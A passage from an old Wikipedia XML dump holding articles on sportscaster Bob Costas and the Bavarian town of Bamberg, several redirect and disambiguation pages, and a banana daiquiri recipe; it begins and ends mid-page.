{{succession box | title=[[Pro Football Hall of Fame]]| before=First class ever| years=Class of 1963| after=Class of 1964}}
{{succession box|
 title=Commissioner of the [[National Football League]]|
 before=[[Elmer Layden]]|
 after=[[Austin Gunsel]] (interim)|
 years=1946-1959 |
}}
{{succession box | title=[[Pittsburgh Steelers|Pittsburgh Steelers Head Coaches]] | before=[[Aldo Donelli]] | years=1941| after=[[Walt Kiesling]]}}
{{succession box | title=[[Philadelphia Eagles|Philadelphia Eagles Head Coaches]] | before=[[Lud Wray]] | years=1936-1940| after=[[Greasy Neale]]}}
{{end box}}

[[Category:1895 births|Bell, Bert]]
[[Category:1959 deaths|Bell, Bert]]
[[Category:American football executives|Bell, Bert]]
[[Category:Pittsburgh Steelers coaches|Bell, Bert]]
[[Category:Temple Owls football coaches|Bell, Bert]]
[[Category:Pro Football Hall of Fame|Bell, Bert]]
[[Category:Penn Quakers football players|Bell, Bert]]
[[Category:Penn Quakers football coaches|Bell, Bert]]
[[Category:American football quarterbacks|Bell, Bert]]
[[Category:Philadelphia Eagles|Bell, Bert]]
[[Category:Pittsburgh Steelers|Bell, Bert]]</text>
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  <page>
    <title>Bob Costas</title>
    <id>4893</id>
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      <comment>/* Talk Show= */</comment>
      <text xml:space="preserve">[[Image:Bob Costas.jpg|framed|right]]
'''Robert Quinlan Costas''' (born [[March 22]], [[1952]] in [[Queens, New York]]) is an [[United States|American]] [[sportscaster]], on the air for the [[NBC]] network since the early [[1980s]].  Costas is known for his smooth delivery, knowledge of sports, and his quick wit.  His mother was of Irish Catholic descent, and his father was of Greek descent.  He was raised as a Roman Catholic. Bob's father, John Costas, was a Greek electrical engineer, baseball fan, and gambler.

==Early Life==
Costas grew up in [[Commack, New York]] on [[Long Island]] and went to Commack High School. Following high school he attended the Newhouse School of Public Communications at [[Syracuse University]], though he left school before graduating.  Prior to joining NBC in [[1980 in sports|1980]], he was a play-by-play announcer for the [[Spirits of St. Louis]] of the [[American Basketball Association]], worked at [[KMOX]] Radio in St. Louis, and was briefly employed by the [[CBS]] network.

==Honors==
Bob Costas has won four National Sportcaster of the Year awards (from the National Sportcaster and Sportswriter Association) and three [[Sports Emmy Awards|Emmy]] Awards for outstanding sports announcing.  In 1999, Costas was a recipient of the [[Curt Gowdy]] Award, which is awarded to members of the electronic and print media for outstanding contributions to basketball.

==NBC Sports==
He has been an in-studio host of [[National Football League]] coverage and [[play-by-play]] man for the [[National Basketball Association|NBA]] and for [[Major League Baseball]].  Costas has teamed with [[Isiah Thomas]] and [[Doug Collins]] for [[The NBA on NBC|basketball telecasts]] (from [[1997-98 NBA season|1997]]-[[1999-2000 NBA season|2000]]) and [[Tony Kubek]] (from [[1983 in baseball|1983]]-[[1989 in baseball|1989]]), [[Joe Morgan]] and [[Bob Uecker]] (from [[1994 in baseball|1994]]-[[2000 in baseball|2000]]) for [[MLB on NBC|baseball telecasts]]. Before becoming the studio host for ''[[NFL on NBC|The NFL on NBC]]'' in [[1984 NFL season|1984]], Costas did play-by-play with analyst [[Bob Trumpy]] for NFL games.

==Talk Show host==
Costas hosted ''Later with Bob Costas'' on NBC, [[1988 in television|1988]]-[[1994 in television|1994]], and syndicated [[radio]] program ''Costas Coast to Coast'', 1986-1996.

==Opinions==
He is a devoted baseball fan (he's been suggested as a potential [[Baseball Commissioner|commissioner]]) and wrote the best-selling ''Fair Ball: A Fan's Case for Baseball'' in [[2000 in literature|2000]].  Costas has been fairly outspoken about his disdain for Major League Baseball instituting a [[Wild_card_%28sports%29#Major_League_Baseball|wild card]].  Costas believes that it diminishes the significance of winning a divisional pennant.  He prefers a three-team playoff in each league, with each league's regular season champ getting a bye to their respective championship series.  Once, on the air on [[HBO]]'s ''[[Inside the NFL]]'', he mentioned that the NFL regular season counted for something, but baseball's did not.

==Olympics==
Costas has frontlined many Olympics broadcasts for [[NBC]]. They include the Olympics in [[Barcelona]] in [[1992 Summer Olympics|1992]], [[Atlanta, Georgia|Atlanta]] in [[1996 Summer Olympics|1996]], [[Sydney]] in [[2000 Summer Olympics|2000]], [[Salt Lake City, Utah|Salt Lake City]] in [[2002 Winter Olympics|2002]], and [[Athens]] in [[2004 Summer Olympics|2004]]; he is currently the lead studio host for [[Turin]] in [[2006 Winter Olympics|2006]]. A personal influence on Costas has been legendary [[ABC Sports]] broadcaster [[Jim McKay]], who hosted many Olympics for [[American Broadcasting Company|ABC]] from the 1960s to the 1980s.

==HBO==
In [[2001 in television|2001]], Costas was hired by [[HBO]] to host a 12 week series called ''On the Record with Bob Costas''.  ''On the Record with Bob Costas'' was similar to the format of the old ''Later'' program as they both concentrated on in-depth celebrity interviews.  In [[2002 in television|2002]], Costas began a stint as co-host of HBO's long running series ''[[Inside the NFL]]''.  In [[2005 in television|2005]], ''On the Record with Bob Costas'' was revamped to become ''Costas Now'', a monthly show that would focus more on sports and air year-round in a 9 p.m. ET/PT time slot.  ''Costas Now'' is more akin to HBO's ''[[Real Sports with Bryant Gumbel]]''.

==Sub for Larry King==
In [[June 2005]], Costas was named by [[CNN]] president, [[Jonathan Klein]], as a regular substitute anchor for [[Larry King]]'s ''[[Larry King Live]]'' for one year. Costas, as well as Klein, have said that Costas is not trying out for King's position on a permanent basis.  [[Nancy Grace]] was also named a regular substitute host for the show. [http://www.cbsnews.com/stories/2005/06/09/entertainment/main700753.shtml]

On [[August 18]], [[2005 in television|2005]], Costas refused to host a ''Larry King Live'' episode where the subject was missing teen [[Natalee Holloway]]. Costas said he had no hard feelings about the subject, but that he was uncomfortable with it. [http://www.firstcoastnews.com/news/usworld/news-article.aspx?storyid=42748]

==Future==
Beginning in [[2006 NFL season|2006]], Costas will be scheduled to return to studio hosting duties on ''[[The NFL on NBC]]'', which is returning after a near ten year hiatus.  Costas last hosted NFL telecasts for NBC in [[1992 NFL season|1992]] before being replaced by the likes of [[Jim Lampley]] and [[Greg Gumbel]].

==Personal Life==
Costas was married to Carole Randall Krumenacher, who went by &quot;Randy,&quot; from 1983 to 2000. They had two children, son Keith, born in 1986, and daughter Taylor, born in 1989. On [[March 14]], [[2004]], Costas married Jill Sutton, who also works in the broadcast media industry.


==Trivia==
* Costas attended the same high school as [[Rosie O'Donnell]]. He later interviewed O'Donnell on ''[[Larry King Live]]'' while filling in for Larry. 

*Costas once jokingly promised that if [[Kirby Puckett]] was batting over .350 by the time his child was born he would name his kid Kirby.  True to his word, since Kirby was hitting better than .350, Bob gave his son, '''Keith Costas''', whose first name comes from Bob's first wife's brother, the middle name Kirby.  Bob also has a daughter named Taylor, who was born three years later (1989).

*For his 40th birthday, [[Oakland Athletics]] manager [[Tony La Russa]] allowed Costas to manage the club during a spring training game.

*While broadcasting Game 1 of the [[1988 World Series]] between the [[Los Angeles Dodgers]] and [[Oakland Athletics]] on [[NBC]], Costas angered many members of the Dodgers (especially the team's manager, [[Tommy Lasorda]]) by commenting that the team quite possibly had the weakest-hitting lineup in World Series history. Later, after the Dodgers had won Game 4 (en route to a 4-1 series victory), Lasorda sarcastically suggested that the MVP of the 1988 World Series should be Bob Costas.   

*While calling the [[1989 in baseball|1989]] [[American League Championship Series]] between [[Oakland Athletics|Oakland]] and [[Toronto Blue Jays|Toronto]] for NBC, Costas unexpectedly came under fire by many Blue Jay fans.  After the A's won the first two games, Costas said the Blue Jays had better win Game 3 (which they did, as it turned out) or &quot;[[Elvis Presley|Elvis]] has a better chance of coming back than the Blue Jays.&quot;  The Blue Jay fans decided to retaliate by displaying signs reading &quot;'''N'''uke '''B'''ob '''C'''ostas&quot; around the [[Rogers Centre|SkyDome]].

*Besides calling the [[1989 American League Championship Series]] for NBC, Costas also filled-in for a suddenly ill [[Vin Scully]] for Game 2 of the [[1989 National League Championship Series]].

*The first time Costas visited baseball legend [[Stan Musial]]'s St. Louis eatery, he left a $3.31 tip in homage to the Musial's lifetime batting average (.331).

*To fulfill a deal he made on ''[[The Late Late Show (CBS)|The Late Late Show]]'' with [[Craig Kilborn]], as coverage of a game resumed he sipped a glass of pink lemonade and said &quot;Ah, that's restaurant quality lemonade.&quot;

*Bob Costas has been [http://snl.jt.org/imp.php?i=210 impersonated] several times by [[Darrell Hammond]] on ''[[Saturday Night Live]]''.

*Costas appeared as himself along with his rival/counterpart [[Al Michaels]] (who now works for NBC) from [[American Broadcasting Company|ABC]] in the movie ''[[Baseketball]]''.

*Costas delivered the [[eulogy]] at [[Mickey Mantle]]'s [[funeral]].  In eulogizing Mantle, Costas described the baseball legend as &quot;a fragile hero to whom we had an emotional attachment so strong and lasting that it defied logic.&quot;  Costas has even carried a [[1958 in baseball|1958]] Mickey Mantle [[baseball card]] in his wallet.

*Apart from his normal sportscasting duties, Costas also announced periodic dogsled and elevator races on ''[[Late Night with David Letterman]]''.

*Costas is very loosely associated with the [[Dave, Shelly, and Chainsaw]] morning show of [[San Diego, California]], and has been known to appear frequently on that show, where, due to one of the show's in-jokes, some of the show's hosts (as well as many San Diego residents) know Costas, belovedly, as the &quot;King of Doucheville.&quot;

*Costas filled in for [[Tom Hammond]] at the hosting desk during the [[2002_in_sports#Thoroughbred_Horse_Racing|2002]] [[Breeders' Cup]] when Hammond had to undergo open-heart surgery.

*Bob Costas anchored the pre and post-game shows for numerous World Series and [[Major League Baseball All-Star Game]]s during the 1980s (the first being for the [[1982 World Series]]).  Costas didn't get a shot at doing play-by-play (as the games on NBC were previously called by [[Vin Scully]]) for an All-Star Game until [[1994 in baseball|1994]] and a World Series until [[1995 World Series|1995]] (when NBC split the coverage with [[American Broadcasting Company|ABC]]).  It wasn't until [[1997 World Series|1997]] when Costas finally got the chance to do play-by-play for a World Series from start to finish. Costas ended up winning a [[Sports Emmy Award]] for [[Outstanding Sports Personality, Play-by-Play]].

*Costas is a regular critic of the raunchier side of pro wrestling.  He condemed [[Karl Malone]] during a live NBA broadcast for participating periodically in [[World Championship Wrestling|WCW]] matches.

*The doomed football league the [[XFL]] (which ironically, was half owned by Costas' employer, NBC) featured a pre-game show in some league cities hosted by shock radio jocks [[Opie &amp; Anthony]]. During an interview with XFL founder [[Vince McMahon]] on his HBO program ''On the Record with Bob Costas'', Costas called the pregame show an &quot;abomination&quot;, which Opie &amp; Anthony later mocked on their nationally syndicated radio show.  When Costas' interview with McMahon turned ugly, Opie &amp; Anthony played clips of McMahon verbally blasting Costas. 

*When Costas was first hired by NBC, [[Don Ohlmeyer]], who at the time, ran NBC Sports sarcastically told the then 28 year old Costas that he looked like a 14 year old.  Ohlmeyer presumably based his reaction on Costas' diminutive size and boyish, babyfaced appearance.

*Costas was name checked in a [[Ludacris]] song after he had mentioned being a fan on the late night talk show ''[[Last Call with Carson Daly]]''.

*Costas guest-voiced (as himself) on the ''[[Family Guy]]'' episode entitled ''[[The Patriot Games]]''.

*[[Jim Rome]] considers Costas to be one of the most intelligent people he's interviewed on ''[[The Jim Rome Show]]''. Costas has also been frequently mentioned as a supposedly &quot;good friend and colleague&quot; of controversial ''Jim Rome Show'' calller (and 2002 ''[[Smack-Off]]'' winner) '''Jeff in [[Richmond, Virginia|Richmond]]'''.

*In [[2002 in video gaming|2002]], Bob was added a play-by-play announcer with [[Harold Reynolds]] for ''[[Triple Play (game)|Triple Play 2002]]'' during the ballgame for [[Playstation 2]].

*Bob Costas has his own star on the [[St. Louis Walk of Fame]].

==External links==
*[http://www.hollywood.com/celebs/detail/celeb/190332 Bob Costas: Hollywood.com]

*[http://www.sfgate.com/cgi-bin/article.cgi?f=/chronicle/archive/2002/05/17/SP61532.DTL Bob Costas' new NBC deal means no more baseball]

*[http://www.stltoday.com/stltoday/sports/stories.nsf/rams/story/23CD0C3C16E9DD3186257046007F10C5?OpenDocument Costas will host NBC’s NFL show]

*[http://www-cgi.cnn.com/TRANSCRIPTS/0208/10/lklw.00.html CNN LARRY KING WEEKEND - Interview With Bob Costas]

*[http://www.sptimes.com/News/060501/news_pf/Sports/Costas_still_busy_wit.shtml Costas still busy without baseball]

*[http://rds.yahoo.com/S=2766679/K=Bob+Costas+September+10%2C+2001/v=2/SID=e/TID=F562_74/l=WS1/R=1/IPC=us/SHE=0/H=3/;_ylt=Ar8eesvxTUdG5SSQ7hy35EpXNyoA/SIG=12hr4e3l7/EXP=1124700967/*-http%3A//cnnstudentnews.cnn.com/TRANSCRIPTS/0109/10/gal.00.html Bob Costas Discusses the State of Sports in America]

*[http://www.findarticles.com/p/articles/mi_m1208/is_n7_v219/ai_16536075 Voice of reason - sportscaster Bob Costas - includes related article]

*[http://www.andrewmason.com/clips/maneater/033195.php Costas Donates Money]

*[http://imdb.com/name/nm0182471/ Bob Costas] at the [[Internet Movie Database]]

[[Category:1952 births|Costas, Bob]]
[[Category:Living people|Costas, Bob]]
[[Category:American radio personalities|Costas, Bob]]
[[Category:CBS Sports|Costas, Bob]]
[[Category:Greek-Americans|Costas, Bob]]
[[Category:Irish-Americans|Costas, Bob]]
[[Category:Long Islanders|Costas, Bob]]
[[Category:Major League Baseball announcers|Costas, Bob]]
[[Category:NBC Sports|Costas, Bob]]
[[Category:National Basketball Association broadcasters|Costas, Bob]]
[[Category:Queensites|Costas, Bob]]
[[Category:Roman Catholics|Costas, Bob]]
[[Category:Sports in Saint Louis, Missouri|Costas, Bob]]
[[Category:Sports Emmy Award winners|Costas, Bob]]
[[Category:American sports announcers|Costas, Bob]]
[[Category:Syracuse Orange football|Costas, Bob]]
[[Category:Television talk show hosts|Costas, Bob]]
[[Category:The NFL on CBS|Costas, Bob]]
[[Category:The NFL on NBC|Costas, Bob]]
[[Category:Family Guy characters|Costas, Bob]]
[[Category:American horseracing announcers|Costas, Bob]]</text>
    </revision>
  </page>
  <page>
    <title>Bamberg</title>
    <id>4896</id>
    <revision>
      <id>40898175</id>
      <timestamp>2006-02-23T19:23:13Z</timestamp>
      <contributor>
        <username>Wlos</username>
        <id>566927</id>
      </contributor>
      <comment>/* Cathedral */ Bamberg Horseman link</comment>
      <text xml:space="preserve">{{Infobox Town DE|
name = Bamberg|
name_local =  |
image_coa =  Wappen_Bamberg.jpg|
image_map =  Bamberg in Germany.png|
state = [[Bavaria]] |
regbzk = [[Upper Franconia]]|
district = [[List of German urban districts|urban district]]|
population = 71,014|
population_as_of = 2004|
pop_dens = 1,301|
area = 54.58|
elevation = 230-386|
lat_deg = 49| 
lat_min = 53|
lat_hem = N|
lon_deg = 10|
lon_min = 53|
lon_hem = E|
postal_code = 96000-96052 |
area_code = 0951|
licence = BA|
mayor = Herbert Lauer|
website = [http://www.stadt.bamberg.de/ stadt.bamberg.de]|
}}
'''Bamberg''' is a town in [[Bavaria]], [[Germany]]. It is located in [[Upper Franconia]] on the river [[Regnitz]], close to its confluence with the river [[Main]]. 

==Geography==
Bamberg lies on an open plain on the Regnitz, 3 km above its junction with the [[Main]] River, and 63 km north of [[Nuremberg]] by railway. Like [[Rome]], Bamberg was built on seven hills, each crowned by a church.

==Population==
Bamberg is home to nearly 7,000 foreign nationals, including over 4,100 members of the [[United States Army]] and their dependents.

==History==
[[Image:BambergCathedral.JPG|thumb|left|250px|Bamberg cathedral]]
During the post-[[Roman Empire|Roman]] centuries of Germanic migration and settlement, the region afterwards included in the Diocese of Bamberg was inhabited for the most part by [[Slavs]]. The town, first mentioned in [[902]], grew up by the castle (Babenberch) which gave its name to the [[Babenberg]] family. On their extinction it passed to the [[Saxony|Saxon]] house. The area was Christianized chiefly by the monks of the [[Benedictine]] Abbey of [[Fulda]], and the land was under the spiritual authority of the Diocese of [[Würzburg]].

In [[1007]], Holy Roman Emperor [[Henry II, Holy Roman Emperor|Henry II]] made Bamberg, a family inheritance, the seat of a separate [[diocese]]. The emperor's purpose in this was to make the Diocese of Würzburg less unwieldy in size and to give Christianity a firmer footing in the districts of [[Franconia]], east of Bamberg. In [[1008]], after long negotiations with the Bishops of Würzburg and [[Eichstätt]], who were to cede portions of their dioceses, the boundaries of the new diocese were defined, and [[Pope John XVIII]] granted the papal confirmation in the same year. The new [[cathedral]] was consecrated [[May 6]], [[1012]], and in [[1017]] Henry II founded on Mount St. Michael, near Bamberg, a Benedictine abbey for the training of the clergy. The emperor and his wife [[Cunigunde of Luxemburg|Cunigunde]] gave large temporal possessions to the new diocese, and it received many privileges out of which grew the secular power of the bishop (cf. Weber in ''Historisches Jahrbuch der Gorresgesellschaft'' for 1899, 326-345 and 617-639). Pope Benedict VIII during his visit to Bamberg ([[1020]]) placed the diocese in direct dependence on the [[Holy See]]. For a short time Bamberg was the centre of the [[Holy Roman Empire]]. Henry and his wife Cunigunde were both buried in the cathedral.

From the middle of the [[13th century]] onward the [[bishop]]s were princes of the Empire and ruled Bamberg, forcing the construction of monumental buildings. In [[1248]] and [[1260]] the see obtained large portions of the estates of the [[Counts of Meran]], partly through purchase and partly through the appropriation of extinguished fiefs. The old [[Bishopric of Bamberg]] was composed of an unbroken territory extending from [[Schlusselfeld]] in a northeasterly direction to the [[Franconian Forest]], and possessed in addition estates in the Duchies of [[Carinthia (duchy)|Carinthia]] and [[Salzburg]], in the [[Nordgau]] (the present [[Upper Palatinate]]), in [[Thuringia]], and on the [[Danube]]. By the changes resulting from the [[Reformation]] the territory of this see was reduced nearly one half in extent.

The [[witch trials]] of the 17th century claimed hundreds of victims in Bamberg and reached a climax between 1626 and 1631 under the rule of [[Prince-Bishop]] Johann Georg II. Fuchs von Dornheim. The famous Drudenhaus (witch prison), built in 1627, is no longer standing today, however, detailed accounts of some cases, like that of [[Johannes Junius]], remain.

In [[1647]], the [[University of Bamberg]] was founded as &quot;Academia Bambergensis&quot;. 

In [[1759]] the possessions and jurisdictions of the diocese situated in [[Austria]] were sold to that State. When the secularization of church lands took place ([[1802]]) the diocese covered 1276 square miles (3 305 km²) and had a population of 207,000. Bamberg thus lost its independence in 1802, and in [[1803]], it became a part of [[Bavaria]].

Bamberg was first connected to the rail system in [[1844]], which has been an important part of its infrastructure ever since.

After [[World War I]], when a communist uprising took control over Bavaria, the government fled to Bamberg and had to stay for almost two years, before the Bavarian capital [[Munich]] was recaptured by [[Freikorps]] (see [[Weimar Republic]]). The first republican constitution of Bavaria was passed in Bamberg, thus known as &quot;[http://www.verfassungen.de/de/by/bayern19-index.htm Bamberger Verfassung]&quot; (Bamberg constitution).

In [[1973]], the town celebrated the 1000th anniversary of its founding.

== Historical population ==
* 1818: ca. 17,000
* 1885: 31,521
* 1905: 45,308

== Settlers from Bamberg ==
[[Bambrzy]] (ger. Posen Bambergers) &amp;ndash; Poles of German origin, descendants of settlers from area near Bamberg, that were settled in villages around [[Poznań]] in the years [[1719]] &amp;ndash;[[1753]].

== Sights ==
[[Image:Cathedral bamberg wk.jpg|thumb|250px|The Cathedral in Bamberg.]]
The Old Town of Bamberg is included in the [[UNESCO]] [[World Heritage Sites|World Heritage]], since it has retained its medieval look and was one of the few German cities that sustained virtually no damage during WWII. 2005 the city established a documentation centre to support World Heritage activities. 
Some of the main sights are:
* Cathedral ([[1237]]), with the tombs of emperor Henry II and [[Pope Clement II]]
* Alte Hofhaltung, residence of the bishops in the [[16th century|16th]] and [[17th century|centuries]]
* Neue Residenz, residence of the bishops after the 17th century
* Old Town Hall ([[1386]]), built in the middle of the Regnitz River, accessible by two bridges
* Klein-Venedig (&quot;Little Venice&quot;), a colony of picturesque fishermen's houses from the 19th century along one side of the river Regnitz.

===Cathedral===
The [[cathedral]] is a late [[Romanesque architecture|Romanesque]] building with four imposing towers. It was founded in [[1004]] by the emperor Henry II, finished in [[1012]] and consecrated on [[May 6]], 1012. It was later partially destroyed by fire in [[1081]]. The new cathedral, built by St. [[Otto of Bamberg]], was consecrated in [[1111]], and in the [[13th century]] received its present late-Romanesque form.

The cathedral is about 94 m long, 28 m broad, 26 m high, and the four towers are each about 81 m high. Of its many works of art may be mentioned the magnificent marble tomb of the founder and his wife, the empress Cunigunde, considered the masterpiece of the sculptor [[Tilman Riemenschneider]], and carved between [[1499]] and [[1513]].  Another treasure of the cathedral is an [[equestrian statue]] known as the [[Bamberg Horseman]] ([[German language|germ.]] ''Der Bamberger Reiter'').  This statue, possibly belonging to the emperor [[Conrad III]], most likely dates to approximately 1200.

===Neue Residenz===
The ''Neue Residenz'' (New Palace) ([[1698]]-[[1704]]) was initially occupied by the prince-bishops, and from [[1864]] to [[1867]] by the deposed King [[Otto of Greece]].

===Other sights===
Other noteworthy [[church]]es are the Jakobskirche, an [[11th century|11th-century]] Romanesque [[basilica]]; the St Martinskirche; the Marienkirche or Obere Pfarrkirche (1320-1387), which has now been restored to its original pure [[Gothic architecture|Gothic]] style. The Michaelskirche, [[12th century|12th-century]] Romanesque (restored), on the Michaelsberg, was formerly the church of a [[Benedictine]] [[monastery]] secularized in [[1803]], which now contains the Burgerspital, or [[almshouse]], and the [[museum]] and municipal art collections.

Of the [[bridge]]s connecting the sections of the lower town the most interesting is the Obere Brücke, completed in [[1455]]. Halfway across this, on an artificial island, is the ''Rathaus'' or City Hall (rebuilt 1744-1756). The royal lyceum, formerly a [[Society of Jesus|Jesuit]] college, contains notable collections and the royal library of over 300,000 volumes. The picturesque Old Palace (Alte Residenz) was built in [[1591]] on the site of an old residence of the counts of [[Babenberg]]. Noteworthy among the monuments of the town is the Maximilian fountain (1880), with statues of [[Maximilian I of Bavaria]], the emperor Henry II and his wife, [[Conrad III of Germany|Conrad III]] and [[St Otto]], bishop of Bamberg. At a short distance from the town is the Altenburg (386 m), a castle occupied from [[1251]] onwards by the bishops of Bamberg. It was destroyed in [[1553]] by [[Albert, margrave of Brandenburg]], but has been partly restored.

== Beer ==
[[Image:Klosterbrau hotelview.jpg|thumb|250px|The Klosterbräu brewery and the rooftops of Bamberg.]]
Bamberg is also known for [[smoked beer]] (or ''Rauchbier'' in German). The most famous being [[Schlenkerla]] &quot;[[Aecht Schlenkerla Rauchbier]]&quot; from the Heller [[brewery]] and which can be enjoyed fresh at the Schlenkerla tavern on the Dominikaner Strasse in the old town.

Bamberg is currently ([[2005]]) home to 9 breweries (Brauerei Fässla, Brauerei Greifenklau, Brauerei Heller-Trum (&quot;Schlenkerla&quot;), Brauerei Kaiserdom, Keesmann Bräu, Klosterbräu, Mahrs Bräu, Maisel Bräu and Brauerei Spezial) and one [[microbrewery]] (Ambräusianum) which is unprecedented in a city of only 70,000 people.

==Education==
The University of Bamberg, named [[Otto-Friedrich University]], offers higher education in the areas of [[social science]], [[business studies]] and the [[humanities]], and is attended by more than 8,000 students.
Bamberg is also home to eight secondary schools called [[Gymnasium (school)|Gymnasien]]:
* Clavius-Gymnasium
* Dientzenhofer-Gymnasium
* Eichendorff-Gymnasium
* E.T.A.-Hoffmann-Gymnasium
* Franz-Ludwig-Gymnasium
* Kaiser-Heinrich-Gymnasium
* Maria-Ward-Gymnasium
* Theresianum
There are also numerous other institutes for primary, secondary, technical, vocational and adult education.

== Born in Bamberg ==
* [[Conrad III of Germany]] (*1093), king of Germany
* [[Ulrich of Bamberg]] (*c1100), German religious historian
* [[Hans Pleydenwurff]] (*1420), German painter
* [[Johann Lukas Schönlein]] (*1793), German physician
* [[Johann Joseph Ignaz von Döllinger]] (*1799), German theologian
* [[Theodor Boveri]] (*1862), German biologist
* [[August von Wassermann]] (*1866), German bacteriologist
* [[Hans Ehard]] (*1887), German politician
* [[Karlheinz Deschner]] (*1924), German author
* [[Günter Faltin]] (*1940), German economist
* [[Thomas Gottschalk]] (*1950), German TV host
* [[Bernd Feustel]] (*1954), German professional chess player
* [[Amber Michaels]] (*1968), German porn actress

== Famous Denizens ==
* [[Pope Clement II]] (*1005), bishop of Bamberg from 1040 to 1046
* [[Georg Wilhelm Friedrich Hegel]] (*1770), German philosopher
* [[E.T.A. Hoffmann]] (*1776), German author and composer
* [[Willy Messerschmitt]] (*1898), German aircraft designer
* [[Paul Maar]] (*1937), German writer and illustrator

== See also ==
* [[Bamberger Symphoniker]] ([[:de:Bamberger Symphoniker|*]]) &amp;ndash; founded in 1946 by [[Bohemia]]n WWII refugees, including former members of the German Philarmonic Orchestra in [[Prague]], and promoted to a Bavarian State Philharmonic Orchestra (''Staatsphilharmonie'') in 2003.

== External links ==
* [http://www.bamberg.de Official Website] (German, English)
* [http://www.bamberg.info Bamberg info for visitors] (English, German, French, Italian, Russian, Japanese, Chinese, Spanish)
* [http://www.schlenkerla.de Schlenkerla brewery Website] (German, English)
* [http://www.BambergBeerGuide.com Bamberg Beer Guide] (English)
* [http://www.bamberg.army.mil/sites/local US Army Garrison Bamberg] (English)
* [http://whc.unesco.org/pg.cfm?cid=31&amp;id_site=624&amp;l=en Description on the UNESCO World Heritage Website] {English}

'''[[Bamberg (disambiguation)|Bamberg]]''' and '''[[Bamberger]]''' is also an [[Ashkenazi Jews|Ashkenazi]] [[Jewish surname]], including:
::[[Ludwig Bamberger]]
::[[Ármin Vámbéry]]
::[[Israel of Bamberg]], Tosafist
::[[Felix Bamberg]], publicist
::[[Samuel Bamberg]]

==References==
*{{1911}}
*{{Catholic}} - See article at [http://www.newadvent.org/cathen/02242c.htm Bamberg]
*[http://www.jewishencyclopedia.com/view.jsp?artid=188&amp;letter=B JewishEncyclopedia]

{{Germany_districts_bavaria}}

[[Category:Cities in Bavaria]]
[[Category:World Heritage Sites in Germany]]

[[de:Bamberg]]
[[es:Bamberg]]
[[fr:Bamberg]]
[[it:Bamberga]]
[[nl:Bamberg (stad)]]
[[ja:バンベルク]]
[[no:Bamberg]]
[[pl:Bamberg]]
[[pt:Bamberg]]
[[fi:Bamberg]]
[[sv:Bamberg]]
[[zh:班貝克]]</text>
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  </page>
  <page>
    <title>Banana daikiri</title>
    <id>4897</id>
    <revision>
      <id>15903146</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Banana daiquiri]]
</text>
    </revision>
  </page>
  <page>
    <title>Black cow</title>
    <id>4898</id>
    <revision>
      <id>15903147</id>
      <timestamp>2005-04-22T01:06:02Z</timestamp>
      <contributor>
        <username>Dr.frog</username>
        <id>75480</id>
      </contributor>
      <comment>redirect to better duplicate article</comment>
      <text xml:space="preserve">#REDIRECT [[root beer float]]</text>
    </revision>
  </page>
  <page>
    <title>Black Panthers</title>
    <id>4899</id>
    <revision>
      <id>15903148</id>
      <timestamp>2002-08-05T13:52:45Z</timestamp>
      <contributor>
        <username>DanKeshet</username>
        <id>170</id>
      </contributor>
      <comment>flip-flopping redirects</comment>
      <text xml:space="preserve">#REDIRECT [[Black Panther Party]]</text>
    </revision>
  </page>
  <page>
    <title>Bloody Mary</title>
    <id>4900</id>
    <revision>
      <id>42148478</id>
      <timestamp>2006-03-04T03:28:00Z</timestamp>
      <contributor>
        <username>DreamGuy</username>
        <id>134756</id>
      </contributor>
      <minor />
      <comment>rvv</comment>
      <text xml:space="preserve">'''Bloody Mary''' may refer to:

* [[Bloody Mary (cocktail)]], made with vodka and tomato juice
* [[Mary I of England]], notorious for persecution of Protestants
* A folkloric ghost, witch, or child murderer who is said to appear in a mirror when summoned; see [[Bloody Mary (person)#In folklore |Bloody Mary (person)]]
* A fictional trader in the musical ''[[South Pacific (musical)|South Pacific]]''; see [[Bloody Mary (person)#In South Pacific |Bloody Mary (person)]]
* A DC Comics super villain character, member of the [[Female Furies]]
* A controversial South Park episode, [[Bloody Mary (South Park)|Bloody Mary]]
* [[Bloody Mary (DC Helix)]], a fictional american female assassin in the [[Helix (comics)|DC Helix]] comic miniseries of the same name by [[Garth Ennis]] and [[Carlos Ezquerra]]
* [[Bloody Mary (band)]], Gothic Rock band from Milan, Italy. Currently signed to [[Sixsixsix Records]]. Released debut album '''Blood 'n' Roll''' in 2005.

{{disambig}}

[[nl:Bloody Mary]]
[[sv:Bloody Mary]]</text>
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  </page>
  <page>
    <title>Banana daiquiri</title>
    <id>4901</id>
    <revision>
      <id>23109367</id>
      <timestamp>2005-09-12T17:02:20Z</timestamp>
      <contributor>
        <username>AmosWolfe</username>
        <id>99342</id>
      </contributor>
      <minor />
      <comment>Correct style of incoming links. You can help at [[Wikipedia:WikiProject Discworld]]</comment>
      <text xml:space="preserve">A '''banana daiquiri''' is a [[cocktail]] made of

* two parts light [[rum]]
* one part banana [[liqueur]] ([[Pisang Ambon]])
* one part lime juice
* half a [[banana]]
* crushed ice

Mix the rum, banana liquor, lime juice, the banana and the ice in a blender.  Strain into a [[cocktail glass]].

The banana daiquiri is known to be a favourite drink of [[Terry Pratchett]], and appears in some of his ''[[Discworld]]'' novels.

In one well-known scene in [[The Godfather II]], [[Fredo Corleone]] orders a Banana Daiquiri in Cuba. Asking his brother [[Michael Corleone|Michael]], &quot;How do you say Banana Daiquiri in Cuban?&quot; Micheal answers, naturally enough, &quot;Banana Daiquiri&quot;.

See also the [[list of cocktails]].

[[Category:Cocktails_with_rum]]</text>
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  </page>
  <page>
    <title>Bees kiss</title>
    <id>4902</id>
    <revision>
      <id>15903151</id>
      <timestamp>2004-12-02T21:19:40Z</timestamp>
      <contributor>
        <username>UtherSRG</username>
        <id>33145</id>
      </contributor>
      <comment>[[Wikipedia:WikiProject Wiki Syntax|Please help out by clicking here to fix someone else's Wiki syntax]].</comment>
      <text xml:space="preserve">#REDIRECT [[cocktail]]</text>
    </revision>
  </page>
  <page>
    <title>Bosons</title>
    <id>4903</id>
    <revision>
      <id>15903152</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <username>CYD</username>
        <id>45</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Boson]]
</text>
    </revision>
  </page>
  <page>
    <title>Bill Mumy</title>
    <id>4904</id>
    <revision>
      <id>40438113</id>
      <timestamp>2006-02-20T15:26:23Z</timestamp>
      <contributor>
        <username>Tough Little Ship</username>
        <id>323118</id>
      </contributor>
